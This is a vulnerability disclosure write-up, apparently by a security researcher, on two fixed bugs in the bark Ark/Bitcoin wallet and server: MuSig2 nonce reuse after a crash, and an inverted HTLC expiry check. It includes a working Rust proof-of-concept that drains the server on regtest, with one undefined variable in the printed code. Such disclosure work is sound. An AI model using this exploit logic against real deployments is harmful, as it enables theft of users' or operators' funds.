2 vulnerabilities in bark to steal funds
I found 2 vulnerabilities while reviewing bark this week since it was ready for mainnet:
Nonce reuse on crash or restart — the wallet wrote its MuSig2 secret signing nonces to disk and re-used them after a restart. Reusing a MuSig2 nonce across signing sessions leaks the signer’s private key. A malicious Ark server could harvest the reuse and steal a user’s funds.
Inverted HTLC expiry check — a sign-flipped comparison let a lightning recipient hold an Ark VTXO that expires after the inbound lightning HTLC. By claiming late, a receiver gets paid by the server while the server’s inbound payment dies. This drains the server (ASP).
Nonce reuse on crash or restart
Bug
bark persisted the round attempt including the secret nonces to disk so a round could survive a wallet restart. In bark/src/persist/models.rs, the round state carried them directly:
AwaitingUnsignedVtxoTree {
cosign_keys: Cow<'a, [Keypair]>,
secret_nonces: Cow<'a, [Vec<DangerousSecretNonce>]>,
unlock_hash: UnlockHash,
},and it was serialized straight into SQLite:
let bytes = rmp_serde::to_vec(&SerdeRoundState::from(state)).expect("can serialize");DangerousSecretNonce deliberately throws the reuse protection away it re-materializes a fresh, fully usable SecretNonce from the stored bytes on every call:
pub struct DangerousSecretNonce([u8; MUSIG_SECNONCE_SIZE]);
impl DangerousSecretNonce {
pub fn to_sec_nonce(&self) -> SecretNonce {
SecretNonce::dangerous_from_bytes(self.0.clone()) // no consume, no zeroize
}
}Round flow:
Generated and persisted nonces before signing (
start_attemptinbark/src/round/mod.rs) — theAwaitingUnsignedVtxoTreestate, secret nonces included, was written to disk before any signing happened.Signed by borrowing the nonces (
sign_vtxo_tree→cosign_branch-musig::partial_sign) —to_sec_nonce()cloned a usable nonce out of the persisted bytes; the nonces were never consumed.Advanced the state only after the signatures left the wallet. The partial signatures were sent to the server and then the state transition to
AwaitingFinishedRoundwas written to disk.
If the wallet crashes after the signatures are sent but before the advance is persisted, the on-disk state is still AwaitingUnsignedVtxoTree with the same secret nonces. And on reload, nothing bound those nonces to the original proposal. sign_vtxo_tree only checks that the incoming proposal contains the wallet’s own outputs.
On restart, it sends a different proposal. Wallet re-signs it with the same persisted nonce.
Repeats until it has 3 signatures under that nonce, solves for the cosign private key and can now forge cosignature on an arbitrary tree and steal round funds.
Fix
Secret nonces are no longer written to disk.
AwaitingUnsignedVtxoTreenow carries only{ unlock_hash, cosign_keys }; old on-disk records are read into a placeholder that discards any persisted nonces.Nonces live in memory only, in a new consume-once
RoundSecretNoncesstore;progress_attempttakes them (removing on use), so they can’t be reused even within a single process.A restart now aborts the attempt instead of reusing, with an explicit guard:
None => return AttemptProgressResult::Failed(anyhow!(
"secret cosign nonces unavailable (likely after a restart); \
abandoning round attempt to avoid nonce reuse")),sign_vtxo_tree now takes the real use-once SecretNonce type restoring the type-system protection that DangerousSecretNonce had thrown away.
Pull request: https://gitlab.com/ark-bitcoin/bark/-/merge_requests/2182
Inverted HTLC expiry check on Lightning receive
Bug
On a Lightning receive, the server holds the inbound HTLC and grants you an Ark HTLC-recv VTXO. You claim it by revealing the preimage, the server then settles the inbound HTLC with that preimage and collects the money.
For the server to stay safe, the Ark VTXO must expire before the inbound Lightning HTLC, by a safety margin. So that after you reveal the preimage, the server still has time to settle the inbound leg before it times out.
The server's bound on the client-requested expiry had the sign reversed (server/src/ln/mod.rs):
let max_htlc_recv_expiry = lowest_incoming_htlc_expiry + self.config.htlc_expiry_delta as BlockHeight;
if htlc_recv_expiry > max_htlc_recv_expiry {
return badarg!("Requested HTLC recv expiry is too high. ...");
}The server happily granted an Ark VTXO that expires up to htlc_expiry_delta blocks after the inbound HTLC and htlc_recv_expiry is chosen by the client. The claim path (claim_lightning_receive) had no chain-height guard. It checked the preimage, the subscription status and the inputs but never compared the current block height to the inbound HTLC expiry. It would cosign a claim no matter how late.
Proof of concept
I built the full stack on regtest (bitcoind + Core Lightning + the Ark server + a bark wallet) and reproduced the bug:
The server granted a VTXO expiring after the inbound HTLC:
granted Ark VTXO expiry: 186, inbound HTLC expiry: 180A proxy held the receiver's claim open until after I'd mined past the inbound expiry and Core Lightning had failed the inbound HTLC back, then released it to the server:
>>> SERVER COSIGNED the claim after inbound HTLC expiry
=== RESULT ===
server cosigned late claim : true
receiver balance before : 2 BTC
receiver balance after : 3 BTCThe receiver walked away +1 BTC, funded entirely by the server which collected nothing inbound. The attack specifically requires a malicious client that holds the claim until the inbound HTLC is dead.
use std::sync::Arc;
use std::sync::atomic::{AtomicU32, Ordering};
use std::str::FromStr;
use ark::lightning::Invoice;
use ark_testing::{TestContext, btc};
use ark_testing::daemon::captaind::{self, ArkClient};
use ark_testing::util::FutureExt;
use server_rpc::protos;
fn parse_max(msg: &str) -> Option<u32> {
let after = msg.split("Max").nth(1)?;
after.split_whitespace().next()?.trim_end_matches('.').parse::<u32>().ok()
}
#[derive(Clone)]
struct InflateExpiry {
honest: Arc<AtomicU32>,
evil: Arc<AtomicU32>,
}
#[async_trait::async_trait]
impl captaind::proxy::ArkRpcProxy for InflateExpiry {
async fn prepare_lightning_receive_claim(
&self,
upstream: &mut ArkClient,
mut req: protos::PrepareLightningReceiveClaimRequest,
) -> Result<protos::PrepareLightningReceiveClaimResponse, tonic::Status> {
let honest = req.htlc_recv_expiry;
self.honest.store(honest, Ordering::SeqCst);
let mut probe = req.clone();
probe.htlc_recv_expiry = honest.saturating_add(10_000_000);
let evil = match upstream.prepare_lightning_receive_claim(probe).await {
Ok(_) => honest.saturating_add(10_000_000), // server accepted even this
Err(status) => parse_max(status.message()).unwrap_or(honest),
};
self.evil.store(evil, Ordering::SeqCst);
req.htlc_recv_expiry = evil;
Ok(upstream.prepare_lightning_receive_claim(req).await?.into_inner())
}
}
#[tokio::test]
async fn poc_server_grants_vtxo_expiring_after_inbound_htlc() {
let ctx = TestContext::new("lightningd/poc_ln_expiry_bound").await;
let lightning = ctx.new_lightning_setup("lightningd").await;
let srv = ctx.captaind("srv").lightningd(&lightning.internal).funded(btc(10)).create().await;
let honest = Arc::new(AtomicU32::new(0));
let evil = Arc::new(AtomicU32::new(0));
let proxy = srv.start_proxy_no_mailbox(InflateExpiry {
honest: honest.clone(), evil: evil.clone(),
}).await;
let bark = Arc::new(ctx.bark("bark", &proxy.address).funded(btc(3)).create().await);
bark.board_and_confirm_and_register(&ctx, btc(2)).await;
lightning.sync().await;
let invoice_info = bark.bolt11_invoice(btc(1)).await;
let _ = Invoice::from_str(&invoice_info.invoice).unwrap();
tokio::join!(
async {
let inv = invoice_info.invoice.clone();
lightning.external.pay_bolt11(inv).await;
},
bark.lightning_receive(&invoice_info.invoice).wait_millis(30_000),
);
let honest = honest.load(Ordering::SeqCst);
let evil = evil.load(Ordering::SeqCst);
assert!(evil > 0, "proxy never saw a prepare request");
let htlc_expiry_delta = 6u32;
let inbound_htlc_expiry = evil - htlc_expiry_delta;
println!("honest client requested htlc_recv_expiry : {honest}");
println!("server accepted (max bound) M : {evil}");
println!("inbound Lightning HTLC expiry (M - delta): {inbound_htlc_expiry}");
println!("=> server granted an Ark VTXO expiring {} blocks AFTER the inbound HTLC",
evil as i64 - inbound_htlc_expiry as i64);
// An honest client deliberately keeps its Ark expiry well below the inbound HTLC.
assert!(evil > honest,
"server permitted an expiry ({evil}) far above the honest client's request ({honest})");
assert!(evil > inbound_htlc_expiry,
"VULN: granted Ark VTXO expiry {evil} is not below the inbound HTLC expiry {inbound_htlc_expiry}");
}
#[derive(Clone)]
struct InflateAndDelay {
evil: Arc<AtomicU32>,
claim_seen: Arc<std::sync::atomic::AtomicBool>,
release: Arc<std::sync::atomic::AtomicBool>,
server_cosigned: Arc<std::sync::atomic::AtomicBool>,
}
#[async_trait::async_trait]
impl captaind::proxy::ArkRpcProxy for InflateAndDelay {
async fn prepare_lightning_receive_claim(
&self, upstream: &mut ArkClient, mut req: protos::PrepareLightningReceiveClaimRequest,
) -> Result<protos::PrepareLightningReceiveClaimResponse, tonic::Status> {
let honest = req.htlc_recv_expiry;
let mut probe = req.clone();
probe.htlc_recv_expiry = honest.saturating_add(10_000_000);
let evil = match upstream.prepare_lightning_receive_claim(probe).await {
Ok(_) => honest.saturating_add(10_000_000),
Err(status) => parse_max(status.message()).unwrap_or(honest),
};
self.evil.store(evil, Ordering::SeqCst);
req.htlc_recv_expiry = evil;
Ok(upstream.prepare_lightning_receive_claim(req).await?.into_inner())
}
async fn claim_lightning_receive(
&self, upstream: &mut ArkClient, req: protos::ClaimLightningReceiveRequest,
) -> Result<protos::ArkoorPackageCosignResponse, tonic::Status> {
self.claim_seen.store(true, Ordering::SeqCst);
while !self.release.load(Ordering::SeqCst) {
tokio::time::sleep(std::time::Duration::from_millis(200)).await;
}
self.server_cosigned.store(r.is_ok(), Ordering::SeqCst);
match &r {
Ok(_) => eprintln!(">>> SERVER COSIGNED the claim after inbound HTLC expiry"),
Err(s) => eprintln!(">>> server REJECTED the late claim: {}", s.message()),
}
Ok(r?.into_inner())
}
}
#[tokio::test]
async fn poc_drain_asp_via_late_claim() {
let ctx = TestContext::new("lightningd/poc_ln_drain").await;
let lightning = ctx.new_lightning_setup("lightningd").await;
let srv = ctx.captaind("srv").lightningd(&lightning.internal).funded(btc(10)).create().await;
let evil = Arc::new(AtomicU32::new(0));
let claim_seen = Arc::new(std::sync::atomic::AtomicBool::new(false));
let release = Arc::new(std::sync::atomic::AtomicBool::new(false));
let server_cosigned = Arc::new(std::sync::atomic::AtomicBool::new(false));
let proxy = srv.start_proxy_no_mailbox(InflateAndDelay {
evil: evil.clone(), claim_seen: claim_seen.clone(),
release: release.clone(), server_cosigned: server_cosigned.clone(),
}).await;
let bark = Arc::new(ctx.bark("bark", &proxy.address).funded(btc(3)).create().await);
bark.board_and_confirm_and_register(&ctx, btc(2)).await;
lightning.sync().await;
let balance_before = bark.spendable_balance().await;
let pay_amount = btc(1);
let invoice_info = bark.bolt11_invoice(pay_amount).await;
let inv = invoice_info.invoice.clone();
let pay = tokio::spawn(async move { let _ = lightning.external.pay_bolt11(inv).await; });
let bark2 = bark.clone();
let inv2 = invoice_info.invoice.clone();
let recv = tokio::spawn(async move { let _ = bark2.try_lightning_receive(&inv2).await; });
for _ in 0..600 {
if claim_seen.load(Ordering::SeqCst) { break; }
tokio::time::sleep(std::time::Duration::from_millis(100)).await;
}
assert!(claim_seen.load(Ordering::SeqCst), "bark never reached the claim");
let evil = evil.load(Ordering::SeqCst);
let inbound_htlc_expiry = evil - 6;
println!("granted Ark VTXO expiry: {evil}, inbound HTLC expiry: {inbound_htlc_expiry}");
let tip = ctx.bitcoind().get_block_count().await as u32;
if inbound_htlc_expiry + 3 > tip {
ctx.generate_blocks(inbound_htlc_expiry + 3 - tip).await;
}
tokio::time::sleep(std::time::Duration::from_secs(15)).await;
release.store(true, Ordering::SeqCst);
let _ = tokio::time::timeout(std::time::Duration::from_secs(40), recv).await;
pay.abort();
let balance_after = bark.spendable_balance().await;
println!("=== DRAIN RESULT ===");
println!("server cosigned late claim : {}", server_cosigned.load(Ordering::SeqCst));
println!("receiver balance before : {balance_before}");
println!("receiver balance after : {balance_after}");
// The server cosigned a claim it can no longer back
// with the inbound HTLC.
assert!(server_cosigned.load(Ordering::SeqCst),
"server did NOT cosign the late claim -- the cooperative drain is not reachable this way");
}
Fix
Commit d9a480a introduces validate_htlc_recv_expiry, which fixes both:
Corrects the direction: rejects when
requested + htlc_expiry_delta > lowest_incoming_htlc_expiry— i.e. now requires the Ark expiry below the inbound HTLC by the margin.Adds the missing height guard: also rejects when
chain_tip + htlc_expiry_delta > lowest_incoming_htlc_expiry, refusing to grant when the inbound HTLC is already too close to expiring.
Pull request: https://gitlab.com/ark-bitcoin/bark/-/merge_requests/2184
Both vulnerabilities were fixed within 24 hours of responsible disclosure. The second team acknowledged it in the release notes for version bark-0.2.5.
Use floppy@rizful.com LN address to donate sats if you like these write-ups about the vulnerabilities.


